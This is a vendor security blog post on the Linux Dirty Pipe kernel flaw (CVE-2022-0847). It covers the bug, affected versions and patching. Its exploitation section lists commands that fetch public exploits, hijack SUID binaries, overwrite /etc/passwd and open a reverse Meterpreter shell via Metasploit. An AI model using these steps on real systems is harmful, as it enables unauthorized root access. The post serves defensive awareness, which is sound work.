Linux 'Dirty Pipe' Vulnerability Allows Root Access - Lansweeper

DirtyPipe is a local privilege escalation vulnerability in the Linux kernel that allows a local attacker to bypass any file permission, and write arbitrary data to any file under certain conditions.

  • File must be readable by the attacker
  • The overwritten offset must not be on a page boundary (page size is usually 4096)
  • The write cannot cross a page boundary
  • File cannot be resized
  • File must be backed by the page cache (ex. a regular file)

Linux Kernel could allow a local authenticated attacker to gain elevated privileges on the system, caused by improper initialization in the copy_page_to_iter_pipe and push_pipe functions. By writing to pages in the page cache backed by read only files, an authenticated attacker could exploit this vulnerability to gain elevated privileges.

There are plenty of ways for attackers to gain the root privileges using this vulnerability, such as

  • unauthorized creation of new cron jobs
  • SUID binary hijacking
  • /etc/passwd modification
  • and so on.

For more technical and detailed information visit: https://dirtypipe.cm4all.com/

Affected Products

  • It affects the Linux kernels from 5.8 through any version before 5.16.11, 5.15.25 and 5.10.102
  • Linux Kernel 5.10
  • Linux Kernel 5.15
  • Linux Kernel 5.16

What are Pipe, Page, and splice() in Linux?

Pipe: A pipe is a unidirectional and inter-process communication method in Linux. It allows a process to take input from the previous one using a pipe buffer. For communication between processes, shared memory pages are used, in which one process reads and another writes. Typically, a pipe spans multiple pages of memory.

  • cat test.txt | grep Earth

Page: A page is a 4096-byte (4Kb) block of data. The Linux kernel breaks up the data into pages and operates on pages instead of dealing with the entire file at once. In the pipe mechanism, there is a flag called PIPE_BUF_FLAG_CAN_MERGE that indicates whether merging more data into the pipe buffer is allowed or not. When data is copied to a pipe buffer, more data can be added to the pipe buffer if the copied page is less than 4096 bytes in size.

Pages are used when reading and writing files from the disk, although they have many other uses. The part of the kernel that manages pages is referred to as the “page cache”.

Cached pages: These are recently accessed memory pages that are stored in a faster buffer in order to speed up subsequent possible accesses.

Flags/pipe attributes: Pipe flags specify characteristics such as state and permissions. As an example of attributes: PIPE_BUF_FLAG_CAN_MERGE. The existing flags for the memory pages are defined in the include /linux/pipe_fs_i.h file.

  • cat /usr/src/linux-hwe-5.13-headers-5.13.0-40/include/linux/pipe_fs_i.h

Splice: splice() is a Linux system call that can move data from or to the pipe. This system call transfer data using the pass-by-reference method. Instead of copying a page every time, it gives a reference to the page that is to be transferred to pipe.

What is Dirty Pipe (CVE-2022-0847) Vulnerability?

Dirty Pipe is a local privilege escalation vulnerability affecting Linux kernel versions 5.8 or newer. The vulnerability is patched in Linux versions 5.16.11, 5.15.25, and 5.10.102. CVSS score of the vulnerability is 7.8(high). CVE-2022-0847 vulnerability is named Dirty Pipe because of its similarity to Dirty Cow (CVE-2016-5195) vulnerability.

Here is how Dirty Pipe vulnerability exploitation works:

  • Create a pipe
  • Copy arbitrary data into the pipe and set the PIPE_BUF_FLAG_CAN_MERGE flag to 1 for all instances.
  • Drain the pipe
  • Normally, the flag should be reset. However, the Dirty Pipe vulnerability causes the flag to stay as set to 1.
  • Transfer a read-only file to the pipe using splice() system call.
  • Modify the read-only file.
  • Since the splice() system call uses the pass-by-reference method, the attacker can overwrite the file due to the PIPE_BUF_FLAG_CAN_MERGE flag.

Using Dirty Pipe vulnerability, an attacker with unprivileged access to the victim system can elevate its privileges to the root level.

Technical summary of CVE-2022-0847

  • CVE-2022-0847 was discovered while using the splice() system call. Basically, this system call moves data between a file descriptor and a pipe, without requiring the data to cross the usermode/kernelmode address space boundary, which helps compute performance.
  • Normally, when sending a file, memory pages (usually sized at 4KB) are copied into a memory-managed space called the page cache. From there the data is being copied to the userspace and remains in the cache to avoid unnecessary hard disk I/O.
  • When a file is being read into a pipe (via the splice() syscall) and at the same time arbitrary data is written into the pipe, the erroneous state caused by the bug causes the data to end up in the same page cache that is used by the file, and as such the data written to the pipe ends up at the file, even if the file was opened with read-only mode (O_RDONLY).

Exploit steps taken

  • It starts by opening a file in read mode, which can later be written to even if the program does not have permissions.
  • Create a pipe with the pipe() system call. This function gives the same process access to descriptors that allow writing and reading.
  • Write any type of information to the pipe to fill it completely and that the memory pages are marked with the PIPE_BUF_FLAG_CAN_MERGE flag.
  • Once all the pages have been marked, it allows the kernel to free them by reading all the data from the pipe it had written.
  • From this point on, when the kernel allocates memory pages using the features introduced in 2016, it will not initialize its flags and they will be marked with the PIPE_BUF_FLAG_CAN_MERGE attribute.
  • Use the splice() function to load the file that was originally opened. The memory page assigned to this file will be the same as our empty pipe, thanks to the fact that it was marked with the flag.
  • Directly overwrites the data in the pipe.

https://lh4.googleusercontent.com/F2p9wZwH6VaDhqMp9qjC0TvmWes1LfqW8BuTFtTUfJeCQCNVl5APz2xIjOFiY7h2pZts7YBWtQtBSP1o3sqq6mBG7yrU4cHbt_xada9yV6bk6sX6o5DoRu-QZetuLVcPatNWf6mT

Enumeration

1. To identify if the server’s kernel version, you can run ‘uname’ command

  • uname -a

2. We can also try to run this testing script

  • git clone https://github.com/basharkey/CVE-2022-0847-dirty-pipe-checker.git
  • cd CVE-2022-0847-dirty-pipe-checker
  • ls
  • chmod 777 dpipe.sh

3. After the script has been set as executable, we will run a check for the current version or a specific one

  • ./dpipe.sh
  • ./dpipe.sh 5.13.0

Exploitation

#1 Dirty Pipe SUID Binary Hijack Privilege Escalation

1. First, try to locate a binary that has SUID permissions assigned owned by root

  • find / -perm /4000 2> /dev/null
  • find / -perm -4000 2> /dev/null

2. Having already located one, proceed to download the exploit

  • git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
  • cd CVE-2022-0847-DirtyPipe-Exploits/
  • ls
  • ./compile.sh
  • ls

3. Now that the script has been downloaded and compiled, proceed to run it (Usage: ./exploit-2 SUID)

  • ./exploit-2 /usr/sbin/pppd
  • whoami

#2 Dirty Pipe SUID Binary Hijack Privilege Escalation

1. First, try to locate a binary that has SUID permissions assigned owned by root

  • find / -perm /4000 2> /dev/null
  • find / -perm -4000 2> /dev/null

2. Having already located one, in this case (/usr/bin/mount), proceed to download the exploit

  • git clone https://github.com/febinrev/dirtypipez-exploit.git
  • cd dirtypipez-exploit
  • ls
  • gcc dirtypipez.c -o dirtypipez
  • ls
  • ./dirtypipez

3. We need to assign the binary with SUID, we will use mount

  • ./dirtypipez /usr/bin/mount
  • whoami

#3 Dirty Pipe SUID Binary (Metasploit)

1. Having already a Meterpreter session, we can background the process, and search for exploits related to CVE-2022-0847

  • getuid
  • background
  • search cve:2022-0847

2. Select this module, and, check its options

  • use exploit/linux/local/cve_2022_0847_dirtypipe
  • show options

3. Now set the necessary options, and set the payload depending on your target.

  • sessions -i
  • set SESSION 1
  • set LHOST 192.168.0.13
  • set LPORT 5555

4. Execute the script to get a reverse meterpreter session with elevated privileges

  • run
  • getuid
  • shell
  • whoami

#1 Modifying/overwriting read only files

1. Download the script into the vulnerable machine, and compile it, (you can also compile it before delivering it)

  • git clone https://github.com/bbaranoff/CVE-2022-0847.git
  • ls
  • gcc CVE-2022-0847.c -o CVE-2022-0847
  • ls

2. This script will modify READ only files, such as /etc/passwd, make sure to have a backup of it before running it into any testing/production environment. The script will modify the first line of this script and change from root to rootz (without password)

  • cat /etc/passwd | head -n 1
  • su rootz
  • ./cve-2022-0847 /etc/passwd 1 ootz:
  • cat /etc/passwd | head -n 1
  • su rootz

#2 Modifying/overwriting read only files

1. Download the script into the vulnerable machine, and compile it

  • git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
  • cd CVE-2022-0847-DirtyPipe-Exploits
  • ls -l
  • ./compile.sh
  • ls

2. Check the /etc/passwd before running the script

  • head /etc/passwd

3. Now run exploit-1, In my case it shows as failing but it works

  • ./exploit-1
  • su root
  • <password>: piped
  • whoami

4. Check /etc/passwd after the script executed

  • head /etc/passwd

Remedy

Upgrade to the latest version of Linux Kernel (5.10.102, 5.15.25, 5.16.11 or later), available from the Linux Kernel Web site.

  • identify vulnerable systems on their networks
  • Since Linux is also used in many mobile devices, the relevant patches should be applied.
  • Apply all relevant security updates once they are available. To patch CVE-2022-0847, update your Linux systems to versions 5.16.11, 5.15.25 and 5.10.102 or newer.
  • Use a security solution that provides patch management and endpoint protection
  • Use the latest Threat Intelligence information to stay aware of actual TTPs used by threat actors.

If upgrading or patching the kernel is not possible, you can deploy a seccomp profile that disallows the splice syscall. While this may cause issues in some software packages, blocking the syscall usually does not have an effect on legitimate applications, since use of this syscall is relatively rare.

Specifically, to protect Docker containers, it is possible to modify Docker’s default seccomp profile and remove splice from the list of allowed syscalls

References

https://exchange.xforce.ibmcloud.com/vulnerabilities/221112

https://nvd.nist.gov/vuln/detail/CVE-2022-0847

https://www.tarlogic.com/es/blog/vulnerabilidad-dirty-pipe-cve-2022-0847/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

https://securelist.com/cve-2022-0847-aka-dirty-pipe-vulnerability-in-linux-kernel/106088/

https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

https://www.picussecurity.com/resource/linux-dirty-pipe-cve-2022-0847-vulnerability-exploitation-explained

https://www.rapid7.com/blog/post/2022/03/09/cve-2022-0847-arbitrary-file-overwrite-vulnerability-in-linux-kernel/

https://jfrog.com/blog/dirtypipe-cve-2022-0847-the-new-dirtycow/

https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig/

https://systemweakness.com/dirty-pipe-cve-2022-0847-tryhackme-7a652910596b

https://packetstormsecurity.com/files/166229/Dirty-Pipe-Linux-Privilege-Escalation.html

https://packetstormsecurity.com/files/166230/Dirty-Pipe-SUID-Binary-Hijack-Privilege-Escalation.html

https://packetstormsecurity.com/files/166258/Dirty-Pipe-Local-Privilege-Escalation.html

https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/linux/local/cve_2022_0847_dirtypipe

https://www.securitydrops.com/dirty-pipe/